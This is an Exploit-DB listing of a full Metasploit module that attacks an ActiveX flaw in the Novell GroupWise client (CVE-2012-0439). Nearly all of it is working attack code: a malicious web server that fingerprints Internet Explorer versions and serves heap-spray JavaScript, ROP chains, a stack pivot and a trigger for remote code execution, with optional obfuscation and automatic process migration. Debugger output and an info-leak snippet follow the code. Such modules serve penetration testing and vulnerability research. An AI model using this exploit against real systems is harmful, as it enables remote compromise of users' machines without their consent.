Novell Groupwise Client - 'gwcls1.dll' ActiveX Remote Code Execution (Metasploit)

EDB-ID:

24490


Platform:

Windows

Published:

2013-02-12

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
#   http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
	Rank = NormalRanking

	include Msf::Exploit::Remote::HttpServer::HTML
	include Msf::Exploit::RopDb
	include Msf::Exploit::Remote::BrowserAutopwn

	autopwn_info({
		:ua_name    => HttpClients::IE,
		:ua_minver  => "6.0",
		:ua_maxver  => "9.0",
		:javascript => true,
		:os_name    => OperatingSystems::WINDOWS,
		:rank       => NormalRanking,
		:classid    => "{601D7813-408F-11D1-98D7-444553540000}",
		:method     => "SetEngine"
	})


	def initialize(info={})
		super(update_info(info,
			'Name'           => "Novell GroupWise Client gwcls1.dll ActiveX Remote Code Execution",
			'Description'    => %q{
					This module exploits a vulnerability in the Novell GroupWise Client gwcls1.dll
				ActiveX. Several methods in the GWCalServer control use user provided data as
				a pointer, which allows to read arbitrary memory and execute arbitrary code. This
				module has been tested successfully with GroupWise Client 2012 on IE6 - IE9. The
				JRE6 needs to be installed to achieve ASLR bypass.
			},
			'License'        => MSF_LICENSE,
			'Author'         =>
				[
					'rgod <rgod[at]autistici.org>', # Vulnerability discovery
					'juan vazquez'                  # Metasploit module
				],
			'References'     =>
				[
					[ 'CVE', '2012-0439' ],
					[ 'OSVDB', '89700' ],
					[ 'BID' , '57658' ],
					[ 'URL', 'http://www.zerodayinitiative.com/advisories/ZDI-13-008' ],
					[ 'URL', 'http://www.novell.com/support/kb/doc.php?id=7011688' ]
				],
			'Payload'        =>
				{
					'BadChars'    => "\x00",
					'Space'       => 1040,
					'DisableNops' => true
				},
			'DefaultOptions'  =>
				{
					'InitialAutoRunScript' => 'migrate -f'
				},
			'Platform'       => 'win',
			'Targets'        =>
				[
					# gwcls1.dll 12.0.0.8586
					[ 'Automatic', {} ],
					[ 'IE 6 on Windows XP SP3', { 'Rop' => nil,     'Offset' => '0x5F4' } ],
					[ 'IE 7 on Windows XP SP3', { 'Rop' => nil,     'Offset' => '0x5F4' } ],
					[ 'IE 8 on Windows XP SP3', { 'Rop' => :msvcrt, 'Offset' => '0x3e3' } ],
					[ 'IE 7 on Windows Vista',  { 'Rop' => nil,     'Offset' => '0x5f4' } ],
					[ 'IE 8 on Windows Vista',  { 'Rop' => :jre,    'Offset' => '0x3e3' } ],
					[ 'IE 8 on Windows 7',      { 'Rop' => :jre,    'Offset' => '0x3e3' } ],
					[ 'IE 9 on Windows 7',      { 'Rop' => :jre,    'Offset' => '0x3ed' } ]#'0x5fe' } ]
				],
			'Privileged'     => false,
			'DisclosureDate' => "Jan 30 2013",
			'DefaultTarget'  => 0))

		register_options(
			[
				OptBool.new('OBFUSCATE', [false, 'Enable JavaScript obfuscation', false])
			], self.class)

	end

	def get_target(agent)
		#If the user is already specified by the user, we'll just use that
		return target if target.name != 'Automatic'

		nt = agent.scan(/Windows NT (\d\.\d)/).flatten[0] || ''
		ie = agent.scan(/MSIE (\d)/).flatten[0] || ''

		ie_name = "IE #{ie}"

		case nt
		when '5.1'
			os_name = 'Windows XP SP3'
		when '6.0'
			os_name = 'Windows Vista'
		when '6.1'
			os_name = 'Windows 7'
		end

		targets.each do |t|
			if (!ie.empty? and t.name.include?(ie_name)) and (!nt.empty? and t.name.include?(os_name))
				print_status("Target selected as: #{t.name}")
				return t
			end
		end

		return nil
	end

	def ie_heap_spray(my_target, p)
		js_code = Rex::Text.to_unescape(p, Rex::Arch.endian(target.arch))
		js_nops = Rex::Text.to_unescape("\x0c"*4, Rex::Arch.endian(target.arch))
		js_random_nops = Rex::Text.to_unescape(make_nops(4), Rex::Arch.endian(my_target.arch))

		# Land the payload at 0x0c0c0c0c
		case my_target
		when targets[7]
			# IE 9 on Windows 7
			js = %Q|
			function randomblock(blocksize)
			{
				var theblock = "";
				for (var i = 0; i < blocksize; i++)
				{
					theblock += Math.floor(Math.random()*90)+10;
				}
				return theblock;
			}

			function tounescape(block)
			{
				var blocklen = block.length;
				var unescapestr = "";
				for (var i = 0; i < blocklen-1; i=i+4)
				{
					unescapestr += "%u" + block.substring(i,i+4);
				}
				return unescapestr;
			}

			var heap_obj = new heapLib.ie(0x10000);
			var code = unescape("#{js_code}");
			var nops = unescape("#{js_random_nops}");
			while (nops.length < 0x80000) nops += nops;
			var offset_length = #{my_target['Offset']};
			for (var i=0; i < 0x1000; i++) {
				var padding = unescape(tounescape(randomblock(0x1000)));
				while (padding.length < 0x1000) padding+= padding;
				var junk_offset = padding.substring(0, offset_length);
				var single_sprayblock = junk_offset + code + nops.substring(0, 0x800 - code.length - junk_offset.length);
				while (single_sprayblock.length < 0x20000) single_sprayblock += single_sprayblock;
				sprayblock = single_sprayblock.substring(0, (0x40000-6)/2);
				heap_obj.alloc(sprayblock);
			}
			|

		else
			# For IE 6, 7, 8
			js = %Q|
			var heap_obj = new heapLib.ie(0x20000);
			var code = unescape("#{js_code}");
			var nops = unescape("#{js_nops}");
			while (nops.length < 0x80000) nops += nops;
			var offset = nops.substring(0, #{my_target['Offset']});
			var shellcode = offset + code + nops.substring(0, 0x800-code.length-offset.length);
			while (shellcode.length < 0x40000) shellcode += shellcode;
			var block = shellcode.substring(0, (0x80000-6)/2);
			heap_obj.gc();
			for (var i=1; i < 0x300; i++) {
				heap_obj.alloc(block);
			}
			var overflow = nops.substring(0, 10);
			|

		end

		js = heaplib(js, {:noobfu => true})

		if datastore['OBFUSCATE']
			js = ::Rex::Exploitation::JSObfu.new(js)
			js.obfuscate
		end

		return js
	end

	def stack_pivot
		pivot = "\x64\xa1\x18\x00\x00\x00"  # mov eax, fs:[0x18 # get teb
		pivot << "\x83\xC0\x08"             # add eax, byte 8 # get pointer to stacklimit
		pivot << "\x8b\x20"                 # mov esp, [eax] # put esp at stacklimit
		pivot << "\x81\xC4\x30\xF8\xFF\xFF" # add esp, -2000 # plus a little offset
		return pivot
	end

	def get_payload(t, cli)
		code = payload.encoded

		# No rop. Just return the payload.
		return [0x0c0c0c10 - 0x426].pack("V") + [0x0c0c0c14].pack("V") + code if t['Rop'].nil?

		# Both ROP chains generated by mona.py - See corelan.be
		case t['Rop']
			when :msvcrt
				print_status("Using msvcrt ROP")
				rop_payload = generate_rop_payload('msvcrt', '', 'target'=>'xp') # Mapped at 0x0c0c07ea
				jmp_shell = Metasm::Shellcode.assemble(Metasm::Ia32.new, "jmp $+#{0x0c0c0c14 - 0x0c0c07ea - rop_payload.length}").encode_string
				rop_payload << jmp_shell
				rop_payload << rand_text_alpha(0x0c0c0c0c - 0x0c0c07ea- rop_payload.length)
				rop_payload << [0x0c0c0c10 - 0x426].pack("V")  # Mapped at 0x0c0c0c0c # 0x426 => vtable offset
				rop_payload << [0x77c15ed5].pack("V")          # Mapped at 0x0c0c0c10 # xchg eax, esp # ret
				rop_payload << stack_pivot
				rop_payload << code
			else
				print_status("Using JRE ROP")
				rop_payload = generate_rop_payload('java', '') # Mapped at 0x0c0c07ea
				jmp_shell = Metasm::Shellcode.assemble(Metasm::Ia32.new, "jmp $+#{0x0c0c0c14 - 0x0c0c07ea - rop_payload.length}").encode_string
				rop_payload << jmp_shell
				rop_payload << rand_text_alpha(0x0c0c0c0c - 0x0c0c07ea- rop_payload.length)
				rop_payload << [0x0c0c0c10 - 0x426].pack("V")  # Mapped at 0x0c0c0c0c # 0x426 => vtable offset
				rop_payload << [0x7C348B05].pack("V")          # Mapped at 0x0c0c0c10 # xchg eax, esp # ret
				rop_payload << stack_pivot
				rop_payload << code
		end

		return rop_payload
	end


	def load_exploit_html(my_target, cli)
		p  = get_payload(my_target, cli)
		js = ie_heap_spray(my_target, p)

		trigger = "target.GetNXPItem(\"22/10/2013\", 1, 1);" * 200

		html = %Q|
		<html>
		<head>
		<script>
		#{js}
		</script>
		</head>
		<body>
		<object classid='clsid:601D7813-408F-11D1-98D7-444553540000' id ='target'>
		</object>
		<script>
			target.SetEngine(0x0c0c0c0c-0x20);
			setInterval(function(){#{trigger}},1000);
		</script>
		</body>
		</html>
		|

		return html
	end

	def on_request_uri(cli, request)
		agent = request.headers['User-Agent']
		uri   = request.uri
		print_status("Requesting: #{uri}")

		my_target = get_target(agent)
		# Avoid the attack if no suitable target found
		if my_target.nil?
			print_error("Browser not supported, sending 404: #{agent}")
			send_not_found(cli)
			return
		end

		html = load_exploit_html(my_target, cli)
		html = html.gsub(/^\t\t/, '')
		print_status("Sending HTML...")
		send_response(cli, html, {'Content-Type'=>'text/html'})
	end

end


=begin

* Remote Code Exec

(240.8d4): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
*** ERROR: Symbol file could not be found.  Defaulted to export symbols for C:\PROGRA~1\Novell\GROUPW~1\gwenv1.dll -
eax=00000000 ebx=0c0c0bec ecx=030c2998 edx=030c2998 esi=0c0c0bec edi=0013df58
eip=10335e2d esp=0013de04 ebp=0013de8c iopl=0         nv up ei pl nz na po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00210202
gwenv1!NgwOFErrorEnabledVector<NgwOFAttribute>::SetParent+0x326b9d:
10335e2d 8a8e4f040000    mov     cl,byte ptr [esi+44Fh]     ds:0023:0c0c103b=??


.text:103BDDEC                 mov     eax, [ebp+var_4] // var_4 => Engine + 0x20
.text:103BDDEF                 test    esi, esi
.text:103BDDF1                 jnz     short loc_103BDE17
.text:103BDDF3                 cmp     [eax+426h], esi
.text:103BDDF9                 jz      short loc_103BDE17 // Check function pointer against nil?
.text:103BDDFB                 mov     ecx, [ebp+arg_8]
.text:103BDDFE                 mov     edx, [ebp+arg_4]
.text:103BDE01                 push    ecx
.text:103BDE02                 mov     ecx, [eax+42Ah]  // Carefully crafted object allows to control it
.text:103BDE08                 push    edx
.text:103BDE09                 mov     edx, [eax+426h] // Carefully crafted object allows to control it
.text:103BDE0F                 push    ecx
.text:103BDE10                 call    edx  // Win!

* Info Leak

// Memory disclosure => 4 bytes from an arbitrary address
// Unstable when info leaking and triggering rce path...
target.SetEngine(0x7ffe0300-0x45c); // Disclosing ntdll
var leak = target.GetMiscAccess();
alert(leak);

=end